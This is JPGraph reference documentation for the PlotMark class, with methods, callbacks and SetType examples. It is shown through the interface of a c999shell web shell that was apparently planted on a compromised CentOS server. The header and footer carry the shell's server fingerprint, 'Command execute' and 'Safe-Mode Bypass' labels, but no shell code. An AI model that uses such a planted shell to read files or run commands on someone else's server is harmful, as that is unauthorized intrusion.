Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: Select action/file-type: CLASS PlotMark
(Defined in: jpgraph_plotmark.inc : 74)
Class usage and Overview In scatter plots and (possible) line plots each data point have a marker. This class implements these markers and the mtethod to modify it's apperance.
There are a number of possible marker, circle, filled circle, square, filled square, star, triangle and so on. See PlotMark::PlotMark() below for details on how to specify what mark. Marks are accessed thtough the 'mark' property in line and scatter plot, i.e LinePlot::mark and ScatterPlot::mark. Marks in line plot are by default turned off. To enable marks use the construction $lineplot->mark->Show(). You can modify the type of plotmarks by calling the SetType() method. Possible plot marks are:
See also related classes: LinePlot and ScatterPlot
Class Methods
Description Hide plot mark
See also PlotMark::Show
Example
Description Callback for plotmarks is only really used in one circumstance. Scatter plot. The callback can be used to individually adjust, sixe and color of the plot marks.
The specified callback function gets called with the Y-value for the current plotmark. The callback function should return an array consisting of three elements
Example // This callback will adjust the fill color and size of // the datapoint according to the data value according to if( $aVal < 30 ) $c = "blue"; elseif( $aVal < 70 ) $c = "green"; else $c="red"; return array(floor($aVal/3),"",$c); } ... // Specify the callback $scatterplot->mark->SetCallback("FCallback");
Description Callback for plotmarks is only really used in one circumstance. Scatter plot. The callback can be used to individually adjust, sixe and color of the plot marks.
The specified callback function gets called with the Y-value for the current plotmark. The callback function should return an array consisting of three elements
Example // Some code to the size and color return array( ... ); } ... // Specify the callback $scatterplot->mark->SetCallbackYX("FCallback");
Description Specify the line color for plot mark
See also PlotMark::SetFillColor
Example
Description Restore default size of mark Example
Description Set fill color for mark See also PlotMark::SetColor
Example
Description Synonym for SetWidth() See also PlotMark::SetWidth
Example
Description This method is used to specify what type of plotmarks should be be displayed. There are two classes of plotmarks. The first class is a number of different shapes and the second class is a number of built-in renderd images.
The following shape (the first class) plot marks are available
For the second class (built-in images) the following table list the different images as well as what color they are available in. For the built-in images you specify the color with the second argument. Note that some of the images are available in different sizes. The reason is that even though you can scale them by the third argument there is a visual degradation to scale an image larger than it's original size since some pixels needs to be interpolated. Reducing the size with a scale < 1.0 gives much better visual apperance. The scaling works with both GD 1 and GD 2 but with GD 2 the quality of the scaling is much better. Built-in images and available colors:
In terms of the builtin flags 230 countries are supported. The following table lists all available flags:
Example $lineplot->mark->SetType(MARK_FILLEDCIRCLE); $lineplot->mark->Show(); // Use image in file 'mark.jpg' as mark., aslo scale it to // half the size $lineplot->mark->SetType(MARK_IMAGE,'mark.jpg',0.5); $lineplot->mark->Show(); // Using the built-in image diamond in yellow color and 70% of originally size $lineplot->mark->SetType(MARK_IMG_DIAMOND, 'yellow', 0.7); $lineplot->mark->Show(); // Setting the plotmarks to a Swedish flag showing the three // ways of doing it .... $p1->mark->SetType(MARK_FLAG1,'sweden'); // OR $p1->mark->SetType(MARK_FLAG1,197); // OR $p1->mark->SetType(MARK_FLAG1,'Kingdom of Sweden');
Description Specify line weight Example
Description Set width of plot mark Example
Description Enable or disable plotmarks. By default plot marks are not shown so if you want to display them you need to use this method.
Example
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0134 ]-- |